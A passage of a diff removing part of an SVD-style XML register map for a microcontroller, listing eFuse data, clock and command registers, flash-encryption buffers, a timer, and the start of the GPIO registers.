-              <description>ADC2 Two Point calibration low point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RD_ADC2_TP_HIGH</name>
-              <description>ADC2 Two Point calibration high point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA4</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT4</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RD_CAL_RESERVED</name>
-              <description>Reserved for future calibration use. Indicated by EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA5</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT5</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA6</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT6</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_RDATA7</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DOUT7</name>
-              <description>read for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA0</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN0</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA1</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN1</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA2</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN2</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA3</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN3</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA4</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN4</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA5</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN5</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA6</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN6</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK1_WDATA7</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK1_DIN7</name>
-              <description>program for BLOCK1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA0</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN0</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA1</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN1</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA2</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN2</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA3</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN3</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA4</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN4</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA5</name>
-          <addressOffset>0xCC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN5</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA6</name>
-          <addressOffset>0xD0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN6</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK2_WDATA7</name>
-          <addressOffset>0xD4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK2_DIN7</name>
-              <description>program for BLOCK2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA0</name>
-          <addressOffset>0xD8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN0</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA1</name>
-          <addressOffset>0xDC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN1</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA2</name>
-          <addressOffset>0xE0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN2</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA3</name>
-          <addressOffset>0xE4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN3</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_TP_LOW</name>
-              <description>ADC1 Two Point calibration low point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC1_TP_HIGH</name>
-              <description>ADC1 Two Point calibration high point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_TP_LOW</name>
-              <description>ADC2 Two Point calibration low point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADC2_TP_HIGH</name>
-              <description>ADC2 Two Point calibration high point. Only valid if EFUSE_RD_BLK3_PART_RESERVE </description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA4</name>
-          <addressOffset>0xE8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN4</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CAL_RESERVED</name>
-              <description>Reserved for future calibration use. Indicated by EFUSE_BLK3_PART_RESERVE </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA5</name>
-          <addressOffset>0xEC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN5</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA6</name>
-          <addressOffset>0xF0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN6</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BLK3_WDATA7</name>
-          <addressOffset>0xF4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BLK3_DIN7</name>
-              <description>program for BLOCK3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLK</name>
-          <addressOffset>0xF8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00004052</resetValue>
-          <fields>
-            <field>
-              <name>SEL0</name>
-              <description>efuse timing configure</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEL1</name>
-              <description>efuse timing configure</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EN</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00010000</resetValue>
-          <fields>
-            <field>
-              <name>OP_CODE</name>
-              <description>efuse operation code</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_NO_WR_RD_DIS</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS</name>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DEBUG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CMD</name>
-          <addressOffset>0x104</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>READ_CMD</name>
-              <description>command for read</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PGM_CMD</name>
-              <description>command for program</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x108</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>READ_DONE_INT_RAW</name>
-              <description>read done interrupt raw status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PGM_DONE_INT_RAW</name>
-              <description>program done interrupt raw status</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x10C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>READ_DONE_INT_ST</name>
-              <description>read done interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PGM_DONE_INT_ST</name>
-              <description>program done interrupt status</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0x110</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>READ_DONE_INT_ENA</name>
-              <description>read done interrupt enable</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PGM_DONE_INT_ENA</name>
-              <description>program done interrupt enable</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x114</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>READ_DONE_INT_CLR</name>
-              <description>read done interrupt clear</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>PGM_DONE_INT_CLR</name>
-              <description>program done interrupt clear</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DAC_CONF</name>
-          <addressOffset>0x118</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000028</resetValue>
-          <fields>
-            <field>
-              <name>DAC_CLK_DIV</name>
-              <description>efuse timing configure</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DAC_CLK_PAD_SEL</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DEC_STATUS</name>
-          <addressOffset>0x11C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DEC_WARNINGS</name>
-              <description>the decode result of 3/4 coding scheme has warning</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0x1FC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16042600</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>FLASH_ENCRYPTION</name>
-      <description>Flash Encryption Peripheral</description>
-      <groupName>FLASH_ENCRYPTION</groupName>
-      <baseAddress>0x3FF46000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x2C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <name>BUFFER_%s</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUFFER</name>
-              <description>Data buffers for encryption.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>START</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FLASH_START</name>
-              <description>Set this bit to start encryption operation on data buffer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ADDRESS</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ADDRESS</name>
-              <description>The physical address on the off-chip flash must be 8-word boundary aligned.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DONE</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FLASH_DONE</name>
-              <description>Set this bit when encryption operation is complete.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>FRC_TIMER</name>
-      <description>Peripheral FRC_TIMER</description>
-      <groupName>FRC</groupName>
-      <baseAddress>0x3FF47000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x14</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>TIMER_LOAD</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>VALUE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER_COUNT</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER_COUNT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER_CTRL</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER_PRESCALER</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER_INT</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER_ALARM</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIMER_ALARM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>GPIO</name>
-      <description>General Purpose Input/Output</description>
-      <groupName>GPIO</groupName>
-      <baseAddress>0x3FF44000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x5CC</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>GPIO</name>
-        <value>22</value>
-      </interrupt>
-      <interrupt>
-        <name>GPIO_NMI</name>
-        <value>23</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>BT_SELECT</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BT_SEL</name>
-              <description>NA</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA</name>
-              <description>GPIO0~31 output value</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_W1TS</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_DATA_W1TS</name>
-              <description>GPIO0~31 output value write 1 to set</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_W1TC</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_DATA_W1TC</name>
-              <description>GPIO0~31 output value write 1 to clear</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT1</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA</name>
-              <description>GPIO32~39 output value</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT1_W1TS</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT1_DATA_W1TS</name>
-              <description>GPIO32~39 output value write 1 to set</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT1_W1TC</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT1_DATA_W1TC</name>
-              <description>GPIO32~39 output value write 1 to clear</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDIO_SELECT</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SDIO_SEL</name>
-              <description>SDIO PADS on/off control from outside</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA</name>
-              <description>GPIO0~31 output enable</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE_W1TS</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE_DATA_W1TS</name>
-              <description>GPIO0~31 output enable write 1 to set</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE_W1TC</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE_DATA_W1TC</name>
-              <description>GPIO0~31 output enable write 1 to clear</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE1</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA</name>
-              <description>GPIO32~39 output enable</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE1_W1TS</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE1_DATA_W1TS</name>
-              <description>GPIO32~39 output enable write 1 to set</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENABLE1_W1TC</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE1_DATA_W1TC</name>
-              <description>GPIO32~39 output enable write 1 to clear</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STRAP</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STRAPPING</name>
-              <description>{10'b0, MTDI, GPIO0, GPIO2, GPIO4, MTDO, GPIO5} </description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IN</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA_NEXT</name>
-              <description>GPIO0~31 input value</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IN1</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DATA_NEXT</name>
-              <description>GPIO32~39 input value</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INT</name>
-              <description>GPIO0~31 interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS_W1TS</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS_INT_W1TS</name>
-              <description>GPIO0~31 interrupt status write 1 to set</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS_W1TC</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS_INT_W1TC</name>
-              <description>GPIO0~31 interrupt status write 1 to clear</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS1</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INT</name>
-              <description>GPIO32~39 interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS1_W1TS</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS1_INT_W1TS</name>
-              <description>GPIO32~39 interrupt status write 1 to set</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS1_W1TC</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS1_INT_W1TC</name>
-              <description>GPIO32~39 interrupt status write 1 to clear</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ACPU_INT</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPCPU_INT</name>
-              <description>GPIO0~31 APP CPU interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ACPU_NMI_INT</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
